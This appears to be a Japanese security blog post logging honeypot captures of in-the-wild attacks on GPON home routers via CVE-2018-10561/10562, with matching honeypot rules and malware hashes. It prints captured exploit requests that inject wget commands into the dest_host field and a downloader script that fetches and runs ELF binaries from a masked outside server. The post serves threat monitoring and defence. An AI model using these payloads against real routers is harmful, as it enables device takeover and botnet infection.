nknskn ネタ置き場

IT使ってなんかやってる人間のたわごと

(Updated)GPON Home Routers(CVE-2018-10561/CVE-2018-10562) - In the wild - WOWHoneypot

TL;DR

2018年4月30日、GPON Home Routersに存在するRCEの脆弱性(CVE-2018-10561/CVE-2018-10562)が公表されていました。
日本時間2018/05/08 9:52:01(UTC+0900)より、さっそく運用中のハニーポット(WOWHoneypot in Singapol)でこの脆弱性を狙った通信を検知しました。
日本ではこの機器をお持ちの方は少数かと思われますが[3]、お持ちの方は利用されているISPにBug fixについてご確認いただくことを推奨します[1]

  1. Critical RCE Vulnerability Found in Over a Million GPON Home Routers | vpnMentor
  2. Critical RCE vulnerability found in over a million GPON Home RoutersSecurity Affairs
  3. GPON Home Routers – The Next Botnet? ※POCが公開されていることも確認しています。

Attack payloads

検知した通信は以下の通り、脆弱性の存在確認を行うものです。

POST /GponForm/diag_Form?images/ HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: ***.***.***.***:***
Content-Type: text/plain
Content-length: 119

(snip)wget;wget -qO - http://*.*.*.*/***.php?port=****(snip)

IPアドレスはurlscan.ioで確認したところ、IoCsに登録されているものでした。 https://urlscan.io/result/0f362b8f-d4da-4cb6-9f79-fb7e64d12d73/

wgetしている先のファイルは存在していなかったため(404 Not Found)、WOWHoneypotのルールには以下を登録しています。

<mrr>
  <meta>
    (snip)
  </meta>
  <trigger>
    <method>POST</method>
    <uri>/GponForm/diag_Form</uri>
    <body>wget -qO -</body>
  </trigger>
  <response>
    <status>200</status>
    <body filename="notfound.txt"></body>
  </response>
</mrr>

GPON Home Routersを持っていないため適切なレスポンスかどうかは不明ですが、ひとまずはこれで攻撃の傾向を見ていこうと思います。


11 May ,2018 Updated

10, Mayより異なるPayloadの通信を検知しました。 Payloadは以下の通り、攻撃の流れはshellscriptの実行~アーキテクチャごとのELFバイナリを実行するものです。

  • Payload
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: ***.***.***.***:***
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118

(snip)dest_host=``;wget+http://xxx.xxx.xxx.xxx/r+-O+->/tmp/r;sh+/tmp/r(snip)
  • shellscript
#!/bin/sh

n="arm mips mipsel arm7"
http_server="xxx.xxx.xxx.xxx"
#dirs="/tmp /var /dev/shm /dev"
dirs="/tmp"

for dir in $dirs
do
    >$dir/c && cd $dir
done

for i in $n
do
    cp $SHELL $i
    >$i
    wget http://$http_server/$i -O -> $i
    chmod 777 $i
done

実行ファイルの動作は未調査のため、一旦ここまでです。

(参考情報)

ファイル名 ハッシュ値(sha-256)
arm efa4fe06e4949c0f7aedea61a79da92e379ea66b169cd1d99c47b9e93e814093
arm7 1ff787d52bc9e4a6c27d75b1a427c3e5dd16d6d5f082a79227c14edf8e908ab2
mips bab7e9f42df88902acb00fbdf3b4b5d8ffec2a1a7ad32eb5f2fb1dbf38f3167d
mispel a79964ce5cf4b92f996bbc24230e102b94ef05fb072c0afdeabc88d28695cace

13 May ,2018 Updated

12, Mayよりまた異なるPayloadの通信を検知しました。 Payloadは以下の通り、busyboxwgetを用いたものです。 対象のファイルは存在せず(404 Not Found)、また仮にダウンロードに成功したとしてもファイルを実行するコマンドがpayload内にないことから、HTTPレスポンス確認による脆弱性の有無確認、もしくはwgetによるコマンド実行確認を期待しているものと考えられます。

  • Payload 1
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: ***.***.***.***:***
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Content-Type: gzip, deflate
Accept: */*
Content-Length: 112

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://*.*.*.*/$(uname+-m)`&ipv=0
  • Payload 2
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: ***.***.***.***:***
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Content-Type: gzip, deflate
Accept: */*
Content-Length: 103

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://*.*.*.*/80`&ipv=0

特にPayload 1, 2をカバーするため、以下のルールを加えました。

※上記ルール内wget -qO -をwgetとしても良いかもしれませんが、今後のPayloadで攻撃者が求めるレスポンスに細かい差が出てきた際、変更を加えやすいよう分けてみています。

※Payload 1 に関してはハニーポットクライアントから$(uname -m)なpathのwget通信を発生させる必要があります。

<mrr>
  <meta>
    (snip)
  </meta>
  <trigger>
    <method>POST</method>
    <uri>/GponForm/diag_Form</uri>
    <body>busybox+wget+http</body>
  </trigger>
  <response>
    <status>200</status>
    <body filename="notfound.txt"></body>
  </response>
</mrr>